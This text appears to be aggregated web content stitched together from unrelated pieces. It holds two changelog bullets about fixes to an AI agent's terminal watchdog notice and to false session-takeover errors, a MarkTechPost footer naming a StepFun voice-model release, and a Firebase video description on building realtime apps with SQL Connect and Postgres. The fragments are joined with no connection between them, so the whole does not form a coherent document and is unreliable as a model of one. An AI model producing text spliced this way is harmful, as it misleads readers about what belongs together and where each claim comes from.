• TUI/streaming watchdog: dismiss the This response is taking longer than expected notice as soon as a chat event for the same run arrives, so the message no longer sits next to the recovered response when the run was only briefly silent. Refs #67052, #69081 (closed), prior attempt #69026. Thanks @jpruit20 and @RomneyDa.
• Agents/Pi: tolerate OpenClaw-owned transcript writes while embedded prompts are released for model I/O, keeping long-running Feishu, Slack, Telegram, and cron turns from failing with false session-takeover errors. Fixes #84059. (#84250) Thanks @tianxiaochannel-oss88.

The post StepFun Releases StepAudio 2.5 Realtime: An End-to-End Voice Model with Roleplay-Specific RLHF and Paralinguistic Comprehension appeared first on MarkTechPost.

Realtime documentation → https://goo.gle/49KJ8a6
Using AI assistance with SQL Connect documentation → https://goo.gle/3R3OneQ

Learn how to build full-stack, reactive apps with Firebase SQL Connect and Postgres. Marissa, a product manager at Firebase, walks you step by step on how to design your schema, generate queries, integrate realtime in-app features, and more. Whether you're building for iOS, Android, Flutter, or the Web, this demo will work for you!

Chapters:
0:00 - Introduction
0:28 - What is SQL Connect
1:00 - The app we're building today
2:12 - Generate schema
2:56 - Seed data
3:36 - Generate queries
4:53 - Integrating the app
5:19 - Adding realtime
6:11 - How realtime works

More resources:
Watch more videos in our playlist: The Full-stack AI Dev Launches → https://goo.gle/full-stack-dev-launch

#Firebase

Subscribe to Firebase → https://goo.gle/Firebase

Speaker: Marissa Christy
Products Mentioned: Firebase Firebase Data Connect, Firebase Authentication, Firebase MCP server